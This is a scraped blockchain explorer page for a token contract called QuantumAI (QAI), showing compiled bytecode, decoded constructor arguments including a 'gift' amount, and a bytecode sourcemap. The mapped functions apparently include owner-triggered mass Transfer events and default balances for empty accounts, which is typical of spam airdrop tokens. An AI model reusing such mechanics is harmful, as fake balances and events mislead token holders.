8181101561096a5785810183015185820160400152820161094e565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146109a0575f80fd5b919050565b5f80604083850312156109b6575f80fd5b6109bf8361098a565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156109f2575f80fd5b823567ffffffffffffffff80821115610a09575f80fd5b818501915085601f830112610a1c575f80fd5b813581811115610a2e57610a2e6109cd565b8060051b604051601f19603f83011681018181108582111715610a5357610a536109cd565b604052918252848201925083810185019188831115610a70575f80fd5b938501935b82851015610a9557610a868561098a565b84529385019392850192610a75565b98975050505050505050565b5f60208284031215610ab1575f80fd5b610aba8261098a565b9392505050565b5f805f60608486031215610ad3575f80fd5b610adc8461098a565b9250610aea6020850161098a565b9150604084013590509250925092565b5f60208284031215610b0a575f80fd5b5035919050565b5f8060408385031215610b22575f80fd5b610b2b8361098a565b9150610b396020840161098a565b90509250929050565b600181811c90821680610b5657607f821691505b602082108103610b7457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610b9e575f80fd5b5051919050565b5f60208284031215610bb5575f80fd5b81518015158114610aba575f80fdfea26469706673582212209913341bcc45ad21cde4a99e442ad2ecd4d5fe474c76bd01d0e5f93e60b5e8e164736f6c63430008170033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000204fce5e3e250261100000000000000000000000000000000000000000000000204fce5e3e250261100000000000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000000000095175616e74756d4149000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035141490000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): QuantumAI
Arg [1] : symbol_ (string): QAI
Arg [2] : totalSupply_ (uint256): 10000000000000000000000000000
Arg [3] : initValue_ (uint256): 10000000000000000000000000000
Arg [4] : gift_ (uint256): 10000000000000000000

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 0000000000000000000000000000000000000000204fce5e3e25026110000000
Arg [3] : 0000000000000000000000000000000000000000204fce5e3e25026110000000
Arg [4] : 0000000000000000000000000000000000000000000000008ac7230489e80000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [6] : 5175616e74756d41490000000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [8] : 5141490000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12317:6338:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13049:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14033:190;;;;;;;;;;-1:-1:-1;14033:190:0;;;;;:::i;:::-;;:::i;:::-;;;1192:14:1;;1185:22;1167:41;;1155:2;1140:18;14033:190:0;1027:187:1;18053:221:0;;;;;;;;;;-1:-1:-1;18053:221:0;;;;;:::i;:::-;;:::i;:::-;;13343:99;;;;;;;;;;-1:-1:-1;13422:12:0;;13343:99;;;2623:25:1;;;2611:2;2596:18;13343:99:0;2477:177:1;18317:335:0;;;;;;;;;;-1:-1:-1;18317:335:0;;;;;:::i;:::-;;:::i;14231:249::-;;;;;;;;;;-1:-1:-1;14231:249:0;;;;;:::i;:::-;;:::i;13251:84::-;;;;;;;;;;-1:-1:-1;13251:84:0;;13325:2;3325:36:1;;3313:2;3298:18;13251:84:0;3183:184:1;17166:506:0;;;;;;;;;;-1:-1:-1;17166:506:0;;;;;:::i;:::-;;:::i;13450:235::-;;;;;;;;;;-1:-1:-1;13450:235:0;;;;;:::i;:::-;;:::i;17680:151::-;;;;;;;;;;-1:-1:-1;17680:151:0;;;;;:::i;:::-;;:::i;13148:95::-;;;;;;;;;;;;;:::i;13693:182::-;;;;;;;;;;-1:-1:-1;13693:182:0;;;;;:::i;:::-;;:::i;13883:142::-;;;;;;;;;;-1:-1:-1;13883:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;13990:18:0;;;13963:7;13990:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13883:142;13049:91;13094:13;13127:5;13120:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13049:91;:::o;14033:190::-;14106:4;4417:10;14162:31;4417:10;14178:7;14187:5;14162:8;:31::i;:::-;-1:-1:-1;14211:4:0;;14033:190;-1:-1:-1;;;14033:190:0:o;18053:221::-;18127:15;;18114:10;18153:114;18174:5;18170:1;:9;18153:114;;;18230:8;18239:1;18230:11;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;18206:49:0;18223:4;-1:-1:-1;;;;;18206:49:0;;18243:11;;18206:49;;;;2623:25:1;;2611:2;2596:18;;2477:177;18206:49:0;;;;;;;;18181:3;;18153:114;;;;18103:171;18053:221;:::o;18317:335::-;17867:8;:6;:8::i;:::-;-1:-1:-1;;;;;18378:22:0;::::1;18374:119;;18425:2;::::0;18417:43:::1;::::0;-1:-1:-1;;;;;18425:2:0;;::::1;::::0;18438:21:::1;18417:43:::0;::::1;;;::::0;18425:2:::1;18417:43:::0;18425:2;18417:43;18438:21;18425:2;18417:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;18317:335:::0;:::o;18374:119::-:1;18566:35;::::0;-1:-1:-1;;;18566:35:0;;18595:4:::1;18566:35;::::0;::::1;4485:74:1::0;18530:6:0;;18503:17:::1;::::0;-1:-1:-1;;;;;18566:20:0;::::1;::::0;::::1;::::0;4458:18:1;;18566:35:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18632:2;::::0;18612:32:::1;::::0;-1:-1:-1;;;18612:32:0;;-1:-1:-1;;;;;18632:2:0;;::::1;18612:32;::::0;::::1;4933:74:1::0;5023:18;;;5016:34;;;18548:53:0;;-1:-1:-1;18612:19:0;::::1;::::0;::::1;::::0;4906:18:1;;18612:32:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;18363:289;;18317:335:::0;:::o;14231:249::-;14318:4;4417:10;14376:37;14392:4;4417:10;14407:5;14376:15;:37::i;:::-;14424:26;14434:4;14440:2;14444:5;14424:9;:26::i;:::-;-1:-1:-1;14468:4:0;;14231:249;-1:-1:-1;;;;14231:249:0:o;17166:506::-;17867:8;:6;:8::i;:::-;17256::::1;17290:1;17285:3;17278:14;;17319:1;17313:4;17306:15;17362:4;17357:3;17347:20;17397:4;17391:11;17434:1;17430:2;17426:10;17464:1;17460:2;17457:9;17485:1;17480:57;;;;17591:2;17585:4;17578:16;17450:159;;17480:57;17519:2;17513:4;17506:16;17450:159;;;;;17636:17;17630:4;17623:31;17166:506:::0;:::o;13450:235::-;-1:-1:-1;;;;;13548:18:0;;13515:7;13548:18;;;;;;;;;;;13581:7;;:32;;;;-1:-1:-1;;;;;;13592:21:0;;;;13581:32;13577:81;;;-1:-1:-1;13635:11:0;;13577:81;13675:2;13450:235;-1:-1:-1;;13450:235:0:o;17680:151::-;17867:8;:6;:8::i;:::-;-1:-1:-1;;;;;17741:15:0;::::1;17737:70;;17780:15;::::0;-1:-1:-1;;;17780:15:0;;-1:-1:-1;;;;;4503:55:1;;17780:15:0::1;::::0;::::1;4485:74:1::0;4458:18;;17780:15:0::1;;;;;;;;17737:70;17817:2;:6:::0;;-1:-1:-1;;17817:6:0::1;-1:-1:-1::0;;;;;17817:6:0;;;::::1;::::0;;;::::1;::::0;;17680:151::o;13148:95::-;13195:13;13228:7;13221:14;;;;;:::i;13693:182::-;13762:4;4417:10;13818:27;4417:10;13835:2;13839:5;13818:9;:27::i;16083:130::-;16168:37;16177:5;16184:7;16193:5;16200:4;16168:8;:37::i;17903:142::-;17958:2;;-1:-1:-1;;;;;17958:2:0;4417:10;17958:18;17954:84;;18000:26;;-1:-1:-1;;;18000:26:0;;4417:10;18000:26;;;4485:74:1;4458:18;;18000:26:0;4339:226:1;17954:84:0;17903:142::o;16672:486::-;-1:-1:-1;;;;;13990:18:0;;;16772:24;13990:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;16839:36:0;;16835:316;;;16915:5;16896:16;:24;16892:132;;;16948:60;;-1:-1:-1;;;16948:60:0;;-1:-1:-1;;;;;5563:55:1;;16948:60:0;;;5545:74:1;5635:18;;;5628:34;;;5678:18;;;5671:34;;;5518:18;;16948:60:0;5343:368:1;16892:132:0;17067:57;17076:5;17083:7;17111:5;17092:16;:24;17118:5;17067:8;:57::i;14488:317::-;-1:-1:-1;;;;;14581:18:0;;14577:88;;14623:30;;-1:-1:-1;;;14623:30:0;;14650:1;14623:30;;;4485:74:1;4458:18;;14623:30:0;4339:226:1;14577:88:0;-1:-1:-1;;;;;14679:16:0;;14675:88;;14719:32;;-1:-1:-1;;;14719:32:0;;14748:1;14719:32;;;4485:74:1;4458:18;;14719:32:0;4339:226:1;14675:88:0;14773:24;14781:4;14787:2;14791:5;14773:7;:24::i;16221:443::-;-1:-1:-1;;;;;16334:19:0;;16330:91;;16377:32;;-1:-1:-1;;;16377:32:0;;16406:1;16377:32;;;4485:74:1;4458:18;;16377:32:0;4339:226:1;16330:91:0;-1:-1:-1;;;;;16435:21:0;;16431:92;;16480:31;;-1:-1:-1;;;16480:31:0;;16508:1;16480:31;;;4485:74:1;4458:18;;16480:31:0;4339:226:1;16431:92:0;-1:-1:-1;;;;;16533:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;16579:78;;;;16630:7;-1:-1:-1;;;;;16614:31:0;16623:5;-1:-1:-1;;;;;16614:31:0;;16639:5;16614:31;;;;2623:25:1;;2611:2;2596:18;;2477:177;16614:31:0;;;;;;;;16221:443;;;;:::o;14813:822::-;-1:-1:-1;;;;;14905:18:0;;14901:537;;;-1:-1:-1;;;;;14982:15:0;;14960:19;14982:15;;;;;;;;;;;;15016:16;;;15012:82;;-1:-1:-1;15067:11:0;;15012:82;15126:5;15112:11;:19;15108:117;;;15159:50;;-1:-1:-1;;;15159:50:0;;-1:-1:-1;;;;;5563:55:1;;15159:50:0;;;5545:74:1;5635:18;;;5628:34;;;5678:18;;;5671:34;;;5518:18;;15159:50:0;5343:368:1;15108:117:0;-1:-1:-1;;;;;15268:15:0;;:9;:15;;;;;;;;;;15286:19;;;15268:37;;;;15328:20;;15324:88;;-1:-1:-1;;;;;15373:15:0;;:9;:15;;;;;;;;;;15391:1;15373:19;;15324:88;14945:493;14901:537;-1:-1:-1;;;;;15454:16:0;;15450:135;;;-1:-1:-1;;;;;15536:13:0;;:9;:13;;;;;;;;;;:22;;;;;;15450:135;15617:2;-1:-1:-1;;;;;15602:25:0;15611:4;-1:-1:-1;;;;;15602:25:0;;15621:5;15602:25;;;;2623::1;;2611:2;2596:18;;2477:177;15602:25:0;;;;;;;;14813:822;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:196::-;635:20;;-1:-1:-1;;;;;684:54:1;;674:65;;664:93;;753:1;750;743:12;664:93;567:196;;;:::o;768:254::-;836:6;844;897:2;885:9;876:7;872:23;868:32;865:52;;;913:1;910;903:12;865:52;936:29;955:9;936:29;:::i;:::-;926:39;1012:2;997:18;;;;984:32;;-1:-1:-1;;;768:254:1:o;1219:127::-;1280:10;1275:3;1271:20;1268:1;1261:31;1311:4;1308:1;1301:15;1335:4;1332:1;1325:15;1351:1121;1435:6;1466:2;1509;1497:9;1488:7;1484:23;1480:32;1477:52;;;1525:1;1522;1515:12;1477:52;1565:9;1552:23;1594:18;1635:2;1627:6;1624:14;1621:34;;;1651:1;1648;1641:12;1621:34;1689:6;1678:9;1674:22;1664:32;;1734:7;1727:4;1723:2;1719:13;1715:27;1705:55;;1756:1;1753;1746:12;1705:55;1792:2;1779:16;1814:2;1810;1807:10;1804:36;;;1820:18;;:::i;:::-;1866:2;1863:1;1859:10;1898:2;1892:9;1961:2;1957:7;1952:2;1948;1944:11;1940:25;1932:6;1928:38;2016:6;2004:10;2001:22;1996:2;1984:10;1981:18;1978:46;1975:72;;;2027:18;;:::i;:::-;2063:2;2056:22;2113:18;;;2147:15;;;;-1:-1:-1;2189:11:1;;;2185:20;;;2217:19;;;2214:39;;;2249:1;2246;2239:12;2214:39;2273:11;;;;2293:148;2309:6;2304:3;2301:15;2293:148;;;2375:23;2394:3;2375:23;:::i;:::-;2363:36;;2326:12;;;;2419;;;;2293:148;;;2460:6;1351:1121;-1:-1:-1;;;;;;;;1351:1121:1:o;2659:186::-;2718:6;2771:2;2759:9;2750:7;2746:23;2742:32;2739:52;;;2787:1;2784;2777:12;2739:52;2810:29;2829:9;2810:29;:::i;:::-;2800:39;2659:186;-1:-1:-1;;;2659:186:1:o;2850:328::-;2927:6;2935;2943;2996:2;2984:9;2975:7;2971:23;2967:32;2964:52;;;3012:1;3009;3002:12;2964:52;3035:29;3054:9;3035:29;:::i;:::-;3025:39;;3083:38;3117:2;3106:9;3102:18;3083:38;:::i;:::-;3073:48;;3168:2;3157:9;3153:18;3140:32;3130:42;;2850:328;;;;;:::o;3372:180::-;3431:6;3484:2;3472:9;3463:7;3459:23;3455:32;3452:52;;;3500:1;3497;3490:12;3452:52;-1:-1:-1;3523:23:1;;3372:180;-1:-1:-1;3372:180:1:o;3557:260::-;3625:6;3633;3686:2;3674:9;3665:7;3661:23;3657:32;3654:52;;;3702:1;3699;3692:12;3654:52;3725:29;3744:9;3725:29;:::i;:::-;3715:39;;3773:38;3807:2;3796:9;3792:18;3773:38;:::i;:::-;3763:48;;3557:260;;;;;:::o;3822:380::-;3901:1;3897:12;;;;3944;;;3965:61;;4019:4;4011:6;4007:17;3997:27;;3965:61;4072:2;4064:6;4061:14;4041:18;4038:38;4035:161;;4118:10;4113:3;4109:20;4106:1;4099:31;4153:4;4150:1;4143:15;4181:4;4178:1;4171:15;4035:161;;3822:380;;;:::o;4207:127::-;4268:10;4263:3;4259:20;4256:1;4249:31;4299:4;4296:1;4289:15;4323:4;4320:1;4313:15;4570:184;4640:6;4693:2;4681:9;4672:7;4668:23;4664:32;4661:52;;;4709:1;4706;4699:12;4661:52;-1:-1:-1;4732:16:1;;4570:184;-1:-1:-1;4570:184:1:o;5061:277::-;5128:6;5181:2;5169:9;5160:7;5156:23;5152:32;5149:52;;;5197:1;5194;5187:12;5149:52;5229:9;5223:16;5282:5;5275:13;5268:21;5261:5;5258:32;5248:60;;5304:1;5301;5294:12

Swarm Source

ipfs://9913341bcc45ad21cde4a99e442ad2ecd4d5fe474c76bd01d0e5f93e60b5e8e1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.